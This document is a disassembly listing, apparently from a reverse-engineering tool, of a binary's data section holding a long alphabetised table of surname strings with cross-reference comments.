aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E034o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E030o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E02Co
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E028o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E024o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E020o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E01Co
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E018o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E014o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E010o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E00Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E008o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E004o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E000o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFFCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFF8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFF4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFF0o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFECo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFE8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFE4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFE0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFDCo
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFD8o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042DFD4o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DFD0o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DFC4o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DFC0o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DFBCo
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DFB8o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DFB4o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DFB0o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DFACo
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DFA8o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DFA4o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DFA0o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF9Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF98o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF94o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF90o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF8Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF88o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF84o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF80o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF7Co
aLa		db 'La',0               ; DATA XREF: ___:0042DF78o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF74o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF70o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF68o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF64o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF60o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF58o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF54o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF50o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF4Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF48o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF44o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF40o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF3Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF38o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DF34o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DF30o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DF2Co
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DF28o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DF24o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DF20o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DF1Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DF18o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DF14o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DF10o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DF0Co
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DF08o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DF04o
		align 4
aKittridge	db 'Kittridge',0
		align 4
aKirscht	db 'Kirscht',0
aKippenberger	db 'Kippenberger',0
		align 10h
aKinsley	db 'Kinsley',0
aKindall	db 'Kindall',0
aKimura		db 'Kimura',0
		align 4
aKimmett	db 'Kimmett',0
aKimmel		db 'Kimmel',0
		align 4
aKhong		db 'Khong',0
		align 10h
aKeul		db 'Keul',0
		align 4
aKerry		db 'Kerry',0
		align 10h
aKendall	db 'Kendall',0
aKemsley	db 'Kemsley',0
aKempton	db 'Kempton',0
aKelsey		db 'Kelsey',0
		align 10h
aKelker		db 'Kelker',0
		align 4
aKeith		db 'Keith',0
		align 10h
aKeepper	db 'Keepper',0
aKeenan		db 'Keenan',0
		align 10h
aKee		db 'Kee',0
aKawachi	db 'Kawachi',0
aKasten		db 'Kasten',0
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DEA8o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DEA4o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DEA0o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE9Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE98o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE94o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE90o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE8Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE88o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE84o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE80o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE7Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE78o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE74o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE70o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE6Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE68o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE64o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE60o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE5Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE58o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE54o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE50o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE4Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE48o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE44o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE40o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE3Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE38o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DE34o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042DE30o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DE2Co
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DE28o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DE24o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DE20o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DE1Co
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DE18o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DE14o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DE10o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DE0Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DE08o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DE04o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DE00o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDFCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDF8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDF4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDF0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDECo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDE8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDE4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDE0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDDCo
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDD8o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DDD4o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DDD0o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DDCCo
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DDC8o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DDC4o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DDC0o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DDBCo
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DDB8o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DDB4o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DDB0o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DDACo
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DDA8o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DDA4o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DDA0o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD9Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD98o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD94o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD90o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD8Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD88o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD84o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD80o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD7Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD78o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD74o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD70o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD6Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD68o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD64o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD60o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD5Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD58o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD54o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD50o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD4Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD48o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD44o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD40o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD3Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD38o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DD34o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DD30o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DD2Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DD28o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DD24o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DD20o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DD1Co
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DD14o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DD10o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DD0Co
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DD08o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DD04o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DD00o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCF8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCF4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCF0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCECo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCE8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCE4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCE0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCDCo
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCD8o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DCD4o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DCD0o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DCCCo
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DCC8o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DCC4o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DCC0o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DCBCo
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DCB8o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DCB4o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DCB0o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DCACo
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DCA8o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DCA4o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DCA0o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC9Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC98o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC94o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC90o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC8Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC88o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC84o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC80o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC7Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC78o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC74o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC70o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC6Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC68o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC64o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC60o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC5Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC58o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC54o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC50o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC4Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC48o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC44o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC40o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC3Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC38o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DC34o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DC30o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DC2Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DC28o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DC24o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DC20o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DC1Co
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DC18o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DC14o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042DC10o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DC0Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DC08o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DC04o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DC00o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBFCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBF8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBF4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBF0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBECo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBE8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBE4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBE0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBDCo
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBD8o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DBD4o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DBD0o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DBCCo
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DBC8o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DBC4o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DBC0o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042DBBCo
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DBB8o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DBB4o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DBB0o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DBACo
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DBA8o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DBA4o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DBA0o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB9Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB98o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB94o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB90o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB8Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB88o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB84o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB80o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB7Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB78o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB74o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB70o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB6Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB68o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB64o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB60o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB5Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB58o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB54o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB50o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB4Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB48o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB44o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB40o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB3Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB38o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DB34o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DB30o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DB2Co
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DB28o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DB24o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DB20o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DB1Co
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DB18o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DB14o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DB10o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DB0Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DB08o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DB04o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DB00o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAFCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAF8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DAF4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAF0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAECo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAE8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAE4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAE0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DADCo
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAD8o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DAD4o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DAD0o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DACCo
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DAC8o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DAC4o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DAC0o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DABCo
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DAB8o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DAB4o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DAB0o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DAACo
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DAA8o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DAA4o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DAA0o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA9Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA98o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA94o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA90o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA8Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA88o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA84o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA80o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA7Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA78o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA74o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA70o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA6Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA68o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA64o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA60o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA5Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA58o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA54o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042DA50o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA4Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA48o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA44o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA40o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA3Co
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA38o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DA34o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DA30o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DA2Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DA28o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DA24o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DA20o
aCui		db 'Cui',0              ; DATA XREF: ___:0042DA1Co
